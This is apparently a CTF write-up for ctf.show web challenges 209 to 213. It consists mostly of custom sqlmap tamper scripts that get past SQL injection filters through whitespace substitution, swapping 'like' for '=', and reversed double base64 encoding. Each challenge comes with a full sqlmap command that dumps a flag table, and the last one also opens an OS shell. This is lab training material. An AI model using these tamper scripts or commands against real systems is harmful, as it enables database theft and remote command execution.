web209
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0a)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == '=':
retVal += chr(0x0a)+'like'+chr(0x0a)
continue
elif payload[i] == '*':
retVal += chr(0x0a)
continue
elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0a)
continue
retVal += payload[i]
return retVal
python sqlmap.py -u "http://54112117-a5f8-4695-8b56-fb8fd52b41d7.challenge.ctf.show/api/index.php" --user-agent=sqlmap --method=PUT --data "id=1" --referer=ctf.show --headers=Content-Type:text/plain --cookie="PHPSESSID=95vep3aff73maihfn5noqaicmo" --safe-url="http://54112117-a5f8-4695-8b56-fb8fd52b41d7.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=ctfshowweb209 -D ctfshow_web -T ctfshow_flav --dump
真慢啊
web210
import base64
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
__priority__= PRIORITY.NORMAL
def dependencies():
singleTimeWarnMessage("空格置换/**/、双写绕过select")
def tamper(payload,**kwargs):
payload = payload[::-1]
payload1= base64.b64encode(payload.encode('utf-8')).decode('utf-8')
payload1 = payload1[::-1]
payload2= base64.b64encode(payload1.encode('utf-8')).decode('utf-8')
return payload2
python .\sqlmap.py -u "
http://9a046eb3-be95-48ae-9d6d-3686e279e992.challenge.ctf.show/api/index.php" --user-agent=sqlmap --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="
http://9a046eb3-be95-48ae-9d6d-3686e279e992.challenge.ctf.show/api/getToken.php" --cookie="PHPSESSID=g9vk69e7giet3c67f4j53lum7t" --safe-freq=1 --tamper=210.py -D ctfshow_web -T ctfshow_flavi --dump
web211
import base64
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
__priority__= PRIORITY.NORMAL
def dependencies():
singleTimeWarnMessage("空格置换/**/、双写绕过select")
def tamper(payload,**kwargs):
payload = payload.replace(" ","/**/")
payload = payload[::-1]
payload1= base64.b64encode(payload.encode('utf-8')).decode('utf-8')
payload1 = payload1[::-1]
payload2= base64.b64encode(payload1.encode('utf-8')).decode('utf-8')
return payload2
python .\sqlmap.py -u "http://3c434d9b-a27a-43b6-9df3-758029cd67c1.challenge.ctf.show/api/index.php" --user-agent=sqlmap --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://3c434d9b-a27a-43b6-9df3-758029cd67c1.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=4gbfmoqv5cemtl9k62tdtotkr1" --tamper=211.py -D ctfshow_web -T ctfshow_flavia --dump
web212
import base64
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
__priority__= PRIORITY.NORMAL
def dependencies():
singleTimeWarnMessage("空格置换/**/、双写绕过select")
def tamper(payload,**kwargs):
payload = payload.replace(" ",chr(0x09))
payload = payload[::-1]
payload1= base64.b64encode(payload.encode('utf-8')).decode('utf-8')
payload1 = payload1[::-1]
payload2= base64.b64encode(payload1.encode('utf-8')).decode('utf-8')
return payload2
python .\sqlmap.py -u "http://ba92f289-4b11-4608-9bb2-65a65b943941.challenge.ctf.show/api/index.php" --user-agent=sqlmap --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --cookie="PHPSESSID=1ettlpu2otrmjbd49smf5fdi4q" --safe-url="http://ba92f289-4b11-4608-9bb2-65a65b943941.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=212.py -D ctfshow_web -T ctfshow_flavis --dump
web 213
getsheel然后链接就行
python .\sqlmap.py -u "http://5527e15e-15dc-4874-bcd4-0232e133e8b4.challenge.ctf.show/api/index.php" --user-agent=sqlmap --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --cookie="PHPSESSID=tpp6v8rj8dr0jpglrfqu0db8a9" --safe-url="http://5527e15e-15dc-4874-bcd4-0232e133e8b4.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=212.py -D ctfshow_web -T ctfshow_flavis --dump --os-shell